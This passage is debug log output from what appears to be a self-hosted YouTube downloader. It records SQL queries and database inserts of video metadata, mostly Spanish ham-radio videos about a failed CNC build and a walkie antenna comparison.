processed. Will check again in 1000ms 23:09:56.838 [debug] Current batch of media processed. Will check again in 1000ms 23:09:57.763 [debug] Current batch of media processed. Will check again in 1000ms 23:09:57.839 [debug] Current batch of media processed. Will check again in 1000ms 23:09:58.764 [debug] Current batch of media processed. Will check again in 1000ms 23:09:58.840 [debug] Current batch of media processed. Will check again in 1000ms 23:09:59.765 [debug] Current batch of media processed. Will check again in 1000ms 23:09:59.841 [debug] Current batch of media processed. Will check again in 1000ms 23:10:00.153 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:00.766 [debug] Current batch of media processed. Will check again in 1000ms 23:10:00.843 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Estas últimas semanas he estado peleando con un proyecto de montar una CNC para la realización de placas de circuito impreso. Pero finalmente me he visto obligado a tirar la toalla. Os muestro aquí el proyecto desechado y el cambio a una CNC comercial, una Genmitsu 3020-PRO MAX.\n\n#genmitsu #cnc #3020 #hamradio #diyelectronics #makers \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1049, "filename" => "/downloads/music/ea3grn/096 - Proyecto CNC: un fracaso. Cambio a CNC Genmitsu 3020-PRO MAX.m4a", "id" => "GmvaN2HrDFY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GmvaN2HrDFY", "playlist_index" => 85, "timestamp" => 1670428813, "title" => "096 - Proyecto CNC: un fracaso. Cambio a CNC Genmitsu 3020-PRO MAX", "upload_date" => "20221207"} 23:10:00.844 [debug] QUERY OK source="sources" db=0.6ms idle=1056.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:10:00.845 [debug] QUERY OK source="sources" db=0.5ms idle=1057.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:10:00.846 [debug] QUERY OK source="media_items" db=0.7ms idle=1058.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-07 16:00:13Z], 3] 23:10:00.848 [debug] QUERY OK source="media_items" db=1.2ms idle=693.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Estas últimas semanas he estado peleando con un proyecto de montar una CNC para la realización de placas de circuito impreso. Pero finalmente me he visto obligado a tirar la toalla. Os muestro aquí el proyecto desechado y el cambio a una CNC comercial, una Genmitsu 3020-PRO MAX.\n\n#genmitsu #cnc #3020 #hamradio #diyelectronics #makers \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "096 - Proyecto CNC: un fracaso. Cambio a CNC Genmitsu 3020-PRO MAX", "1534b876-4005-483f-8bc9-8426ea12ea27", 1049, false, "GmvaN2HrDFY", "https://www.youtube.com/watch?v=GmvaN2HrDFY", 85, "/downloads/music/ea3grn/096 - Proyecto CNC: un fracaso. Cambio a CNC Genmitsu 3020-PRO MAX.m4a", false, false, false, 3, [], 98, ~U[2022-12-07 16:00:13Z], ~U[2026-02-07 22:10:00Z], ~U[2026-02-07 22:10:00Z], "Estas últimas semanas he estado peleando con un proyecto de montar una CNC para la realización de placas de circuito impreso. Pero finalmente me he visto obligado a tirar la toalla. Os muestro aquí el proyecto desechado y el cambio a una CNC comercial, una Genmitsu 3020-PRO MAX.\n\n#genmitsu #cnc #3020 #hamradio #diyelectronics #makers \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "096 - Proyecto CNC: un fracaso. Cambio a CNC Genmitsu 3020-PRO MAX", 1049, false, "GmvaN2HrDFY", "https://www.youtube.com/watch?v=GmvaN2HrDFY", "/downloads/music/ea3grn/096 - Proyecto CNC: un fracaso. Cambio a CNC Genmitsu 3020-PRO MAX.m4a", false, 3, ~U[2022-12-07 16:00:13Z]] 23:10:00.849 [debug] QUERY OK source="sources" db=0.5ms idle=307.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:10:00.849 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:10:00.850 [debug] QUERY OK source="media_items" db=0.5ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1478] 23:10:00.850 [debug] Current batch of media processed. Will check again in 1000ms 23:10:01.767 [debug] Current batch of media processed. Will check again in 1000ms 23:10:01.851 [debug] Current batch of media processed. Will check again in 1000ms 23:10:02.768 [debug] Current batch of media processed. Will check again in 1000ms 23:10:02.852 [debug] Current batch of media processed. Will check again in 1000ms 23:10:03.769 [debug] Current batch of media processed. Will check again in 1000ms 23:10:03.853 [debug] Current batch of media processed. Will check again in 1000ms 23:10:04.770 [debug] Current batch of media processed. Will check again in 1000ms 23:10:04.854 [debug] Current batch of media processed. Will check again in 1000ms 23:10:05.771 [debug] Current batch of media processed. Will check again in 1000ms 23:10:05.855 [debug] Current batch of media processed. Will check again in 1000ms 23:10:06.772 [debug] Current batch of media processed. Will check again in 1000ms 23:10:06.856 [debug] Current batch of media processed. Will check again in 1000ms 23:10:07.773 [debug] Current batch of media processed. Will check again in 1000ms 23:10:07.857 [debug] Current batch of media processed. Will check again in 1000ms 23:10:08.774 [debug] Current batch of media processed. Will check again in 1000ms 23:10:08.858 [debug] Current batch of media processed. Will check again in 1000ms 23:10:09.775 [debug] Current batch of media processed. Will check again in 1000ms 23:10:09.859 [debug] Current batch of media processed. Will check again in 1000ms 23:10:10.776 [debug] Current batch of media processed. Will check again in 1000ms 23:10:10.860 [debug] Current batch of media processed. Will check again in 1000ms 23:10:11.777 [debug] Current batch of media processed. Will check again in 1000ms 23:10:11.861 [debug] Current batch of media processed. Will check again in 1000ms 23:10:12.778 [debug] Current batch of media processed. Will check again in 1000ms 23:10:12.862 [debug] Current batch of media processed. Will check again in 1000ms 23:10:13.779 [debug] Current batch of media processed. Will check again in 1000ms 23:10:13.863 [debug] Current batch of media processed. Will check again in 1000ms 23:10:14.780 [debug] Current batch of media processed. Will check again in 1000ms 23:10:14.864 [debug] Current batch of media processed. Will check again in 1000ms 23:10:15.781 [debug] Current batch of media processed. Will check again in 1000ms 23:10:15.865 [debug] Current batch of media processed. Will check again in 1000ms 23:10:16.782 [debug] Current batch of media processed. Will check again in 1000ms 23:10:16.866 [debug] Current batch of media processed. Will check again in 1000ms 23:10:17.783 [debug] Current batch of media processed. Will check again in 1000ms 23:10:17.867 [debug] Current batch of media processed. Will check again in 1000ms 23:10:18.784 [debug] Current batch of media processed. Will check again in 1000ms 23:10:18.868 [debug] Current batch of media processed. Will check again in 1000ms 23:10:19.785 [debug] Current batch of media processed. Will check again in 1000ms 23:10:19.869 [debug] Current batch of media processed. Will check again in 1000ms 23:10:20.786 [debug] Current batch of media processed. Will check again in 1000ms 23:10:20.870 [debug] Current batch of media processed. Will check again in 1000ms 23:10:21.356 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:21.787 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 6: CHATGPT NUEVAS FUNCIONALIDADES: Aprende a elegir el modelo de ChatGPT perfecto según tu tarea. Descubre cuándo priorizar la velocidad de respuesta y cómo optimizar tu experiencia. ¡Maximiza tu productividad con nuestros consejos! #ChatGPT #InteligenciaArtificial #ModelosDeLenguaje #Productividad #ConsejosChatGPT #AprendizajeOnline #Tecnología #IA #RespuestasRapidas #Tutoriales", "duration" => 25, "filename" => "/downloads/music/IA mí QUÉ/ChatGPT: ¡Elige el modelo CORRECTO para respuestas RÁPIDAS y trabajos PROFUNDOS!.m4a", "id" => "aT9Nv1YNMZ4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/aT9Nv1YNMZ4", "playlist_index" => 29, "timestamp" => 1746828039, "title" => "ChatGPT: ¡Elige el modelo CORRECTO para respuestas RÁPIDAS y trabajos PROFUNDOS!", "upload_date" => "20250509"} 23:10:21.788 [debug] QUERY OK source="sources" db=0.4ms idle=1001.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:10:21.789 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:10:21.790 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-09 22:00:39Z], 2] 23:10:21.792 [debug] QUERY OK source="media_items" db=1.0ms idle=434.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 6: CHATGPT NUEVAS FUNCIONALIDADES: Aprende a elegir el modelo de ChatGPT perfecto según tu tarea. Descubre cuándo priorizar la velocidad de respuesta y cómo optimizar tu experiencia. ¡Maximiza tu productividad con nuestros consejos! #ChatGPT #InteligenciaArtificial #ModelosDeLenguaje #Productividad #ConsejosChatGPT #AprendizajeOnline #Tecnología #IA #RespuestasRapidas #Tutoriales", "ChatGPT: ¡Elige el modelo CORRECTO para respuestas RÁPIDAS y trabajos PROFUNDOS!", "5dcfb722-23fd-4ac6-a0b6-8df84de13d56", 25, false, "aT9Nv1YNMZ4", "https://www.youtube.com/shorts/aT9Nv1YNMZ4", 29, "/downloads/music/IA mí QUÉ/ChatGPT: ¡Elige el modelo CORRECTO para respuestas RÁPIDAS y trabajos PROFUNDOS!.m4a", false, false, true, 2, [], 91, ~U[2025-05-09 22:00:39Z], ~U[2026-02-07 22:10:21Z], ~U[2026-02-07 22:10:21Z], "PARTE 6: CHATGPT NUEVAS FUNCIONALIDADES: Aprende a elegir el modelo de ChatGPT perfecto según tu tarea. Descubre cuándo priorizar la velocidad de respuesta y cómo optimizar tu experiencia. ¡Maximiza tu productividad con nuestros consejos! #ChatGPT #InteligenciaArtificial #ModelosDeLenguaje #Productividad #ConsejosChatGPT #AprendizajeOnline #Tecnología #IA #RespuestasRapidas #Tutoriales", "ChatGPT: ¡Elige el modelo CORRECTO para respuestas RÁPIDAS y trabajos PROFUNDOS!", 25, false, "aT9Nv1YNMZ4", "https://www.youtube.com/shorts/aT9Nv1YNMZ4", "/downloads/music/IA mí QUÉ/ChatGPT: ¡Elige el modelo CORRECTO para respuestas RÁPIDAS y trabajos PROFUNDOS!.m4a", true, 2, ~U[2025-05-09 22:00:39Z]] 23:10:21.792 [debug] QUERY OK source="sources" db=0.5ms idle=213.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:10:21.793 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:10:21.794 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1416] 23:10:21.794 [debug] Current batch of media processed. Will check again in 1000ms 23:10:21.871 [debug] Current batch of media processed. Will check again in 1000ms 23:10:22.795 [debug] Current batch of media processed. Will check again in 1000ms 23:10:22.872 [debug] Current batch of media processed. Will check again in 1000ms 23:10:23.796 [debug] Current batch of media processed. Will check again in 1000ms 23:10:23.873 [debug] Current batch of media processed. Will check again in 1000ms 23:10:24.797 [debug] Current batch of media processed. Will check again in 1000ms 23:10:24.874 [debug] Current batch of media processed. Will check again in 1000ms 23:10:25.798 [debug] Current batch of media processed. Will check again in 1000ms 23:10:25.875 [debug] Current batch of media processed. Will check again in 1000ms 23:10:26.799 [debug] Current batch of media processed. Will check again in 1000ms 23:10:26.878 [debug] Current batch of media processed. Will check again in 1000ms 23:10:27.800 [debug] Current batch of media processed. Will check again in 1000ms 23:10:27.878 [debug] Current batch of media processed. Will check again in 1000ms 23:10:28.801 [debug] Current batch of media processed. Will check again in 1000ms 23:10:28.879 [debug] Current batch of media processed. Will check again in 1000ms 23:10:29.802 [debug] Current batch of media processed. Will check again in 1000ms 23:10:29.880 [debug] Current batch of media processed. Will check again in 1000ms 23:10:30.803 [debug] Current batch of media processed. Will check again in 1000ms 23:10:30.881 [debug] Current batch of media processed. Will check again in 1000ms 23:10:31.804 [debug] Current batch of media processed. Will check again in 1000ms 23:10:31.882 [debug] Current batch of media processed. Will check again in 1000ms 23:10:32.805 [debug] Current batch of media processed. Will check again in 1000ms 23:10:32.883 [debug] Current batch of media processed. Will check again in 1000ms 23:10:33.806 [debug] Current batch of media processed. Will check again in 1000ms 23:10:33.884 [debug] Current batch of media processed. Will check again in 1000ms 23:10:34.807 [debug] Current batch of media processed. Will check again in 1000ms 23:10:34.885 [debug] Current batch of media processed. Will check again in 1000ms 23:10:35.808 [debug] Current batch of media processed. Will check again in 1000ms 23:10:35.886 [debug] Current batch of media processed. Will check again in 1000ms 23:10:36.809 [debug] Current batch of media processed. Will check again in 1000ms 23:10:36.887 [debug] Current batch of media processed. Will check again in 1000ms 23:10:37.810 [debug] Current batch of media processed. Will check again in 1000ms 23:10:37.888 [debug] Current batch of media processed. Will check again in 1000ms 23:10:38.811 [debug] Current batch of media processed. Will check again in 1000ms 23:10:38.889 [debug] Current batch of media processed. Will check again in 1000ms 23:10:39.812 [debug] Current batch of media processed. Will check again in 1000ms 23:10:39.890 [debug] Current batch of media processed. Will check again in 1000ms 23:10:40.813 [debug] Current batch of media processed. Will check again in 1000ms 23:10:40.891 [debug] Current batch of media processed. Will check again in 1000ms 23:10:41.814 [debug] Current batch of media processed. Will check again in 1000ms 23:10:41.892 [debug] Current batch of media processed. Will check again in 1000ms 23:10:42.815 [debug] Current batch of media processed. Will check again in 1000ms 23:10:42.893 [debug] Current batch of media processed. Will check again in 1000ms 23:10:43.816 [debug] Current batch of media processed. Will check again in 1000ms 23:10:43.894 [debug] Current batch of media processed. Will check again in 1000ms 23:10:44.817 [debug] Current batch of media processed. Will check again in 1000ms 23:10:44.895 [debug] Current batch of media processed. Will check again in 1000ms 23:10:45.818 [debug] Current batch of media processed. Will check again in 1000ms 23:10:45.896 [debug] Current batch of media processed. Will check again in 1000ms 23:10:46.819 [debug] Current batch of media processed. Will check again in 1000ms 23:10:46.897 [debug] Current batch of media processed. Will check again in 1000ms 23:10:47.820 [debug] Current batch of media processed. Will check again in 1000ms 23:10:47.898 [debug] Current batch of media processed. Will check again in 1000ms 23:10:48.821 [debug] Current batch of media processed. Will check again in 1000ms 23:10:48.899 [debug] Current batch of media processed. Will check again in 1000ms 23:10:49.822 [debug] Current batch of media processed. Will check again in 1000ms 23:10:49.900 [debug] Current batch of media processed. Will check again in 1000ms 23:10:50.823 [debug] Current batch of media processed. Will check again in 1000ms 23:10:50.901 [debug] Current batch of media processed. Will check again in 1000ms 23:10:51.357 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:51.824 [debug] Current batch of media processed. Will check again in 1000ms 23:10:51.902 [debug] Current batch of media processed. Will check again in 1000ms 23:10:52.825 [debug] Current batch of media processed. Will check again in 1000ms 23:10:52.903 [debug] Current batch of media processed. Will check again in 1000ms 23:10:53.826 [debug] Current batch of media processed. Will check again in 1000ms 23:10:53.904 [debug] Current batch of media processed. Will check again in 1000ms 23:10:54.827 [debug] Current batch of media processed. Will check again in 1000ms 23:10:54.905 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Comparando el rendimiento de unas antenas de walkie, para las bandas de 145 y 430 Mhz. Usando un tinySA como generador de señal, ponemos una baliza en eñ aire para poder realizar medidas.\n\n#rhd771 #rh951s #retevis #antenas #walkie #midland #Yaesu #wouxun #comparativa #tinySA \n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:38 - Intro Canal\n00:55 - Descripción de la prueba\n03:09 - tinySA como generador\n04:31 - Prueba en 145 Mhz\n10:49 - Prueba en 430 Mhz\n13:10 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 999, "filename" => "/downloads/music/ea3grn/095 - COMPARATIVA DE ANTENAS DE WALKIE PARA 145 Y 430MHZ.m4a", "id" => "OjT0FCynB3M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OjT0FCynB3M", "playlist_index" => 86, "timestamp" => 1665676823, "title" => "095 - COMPARATIVA DE ANTENAS DE WALKIE PARA 145 Y 430MHZ", "upload_date" => "20221013"} 23:10:54.906 [debug] QUERY OK source="sources" db=0.5ms idle=1119.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:10:54.907 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1120.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:10:54.908 [debug] QUERY OK source="media_items" db=0.7ms idle=1120.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-13 16:00:23Z], 3] 23:10:54.910 [debug] QUERY OK source="media_items" db=1.2ms idle=269.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Comparando el rendimiento de unas antenas de walkie, para las bandas de 145 y 430 Mhz. Usando un tinySA como generador de señal, ponemos una baliza en eñ aire para poder realizar medidas.\n\n#rhd771 #rh951s #retevis #antenas #walkie #midland #Yaesu #wouxun #comparativa #tinySA \n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:38 - Intro Canal\n00:55 - Descripción de la prueba\n03:09 - tinySA como generador\n04:31 - Prueba en 145 Mhz\n10:49 - Prueba en 430 Mhz\n13:10 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "095 - COMPARATIVA DE ANTENAS DE WALKIE PARA 145 Y 430MHZ", "62a7ddd6-745a-421c-9194-3abbab9a66df", 999, false, "OjT0FCynB3M", "https://www.youtube.com/watch?v=OjT0FCynB3M", 86, "/downloads/music/ea3grn/095 - COMPARATIVA DE ANTENAS DE WALKIE PARA 145 Y 430MHZ.m4a", false, false, false, 3, [], 98, ~U[2022-10-13 16:00:23Z], ~U[2026-02-07 22:10:54Z], ~U[2026-02-07 22:10:54Z], "Comparando el rendimiento de unas antenas de walkie, para las bandas de 145 y 430 Mhz. Usando un tinySA como generador de señal, ponemos una baliza en eñ aire para poder realizar medidas.\n\n#rhd771 #rh951s #retevis #antenas #walkie #midland #Yaesu #wouxun #comparativa #tinySA \n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:38 - Intro Canal\n00:55 - Descripción de la prueba\n03:09 - tinySA como generador\n04:31 - Prueba en 145 Mhz\n10:49 - Prueba en 430 Mhz\n13:10 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "095 - COMPARATIVA DE ANTENAS DE WALKIE PARA 145 Y 430MHZ", 999, false, "OjT0FCynB3M", "https://www.youtube.com/watch?v=OjT0FCynB3M", "/downloads/music/ea3grn/095 - COMPARATIVA DE ANTENAS DE WALKIE PARA 145 Y 430MHZ.m4a", false, 3, ~U[2022-10-13 16:00:23Z]] 23:10:54.911 [debug] QUERY OK source="sources" db=0.5ms idle=123.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE 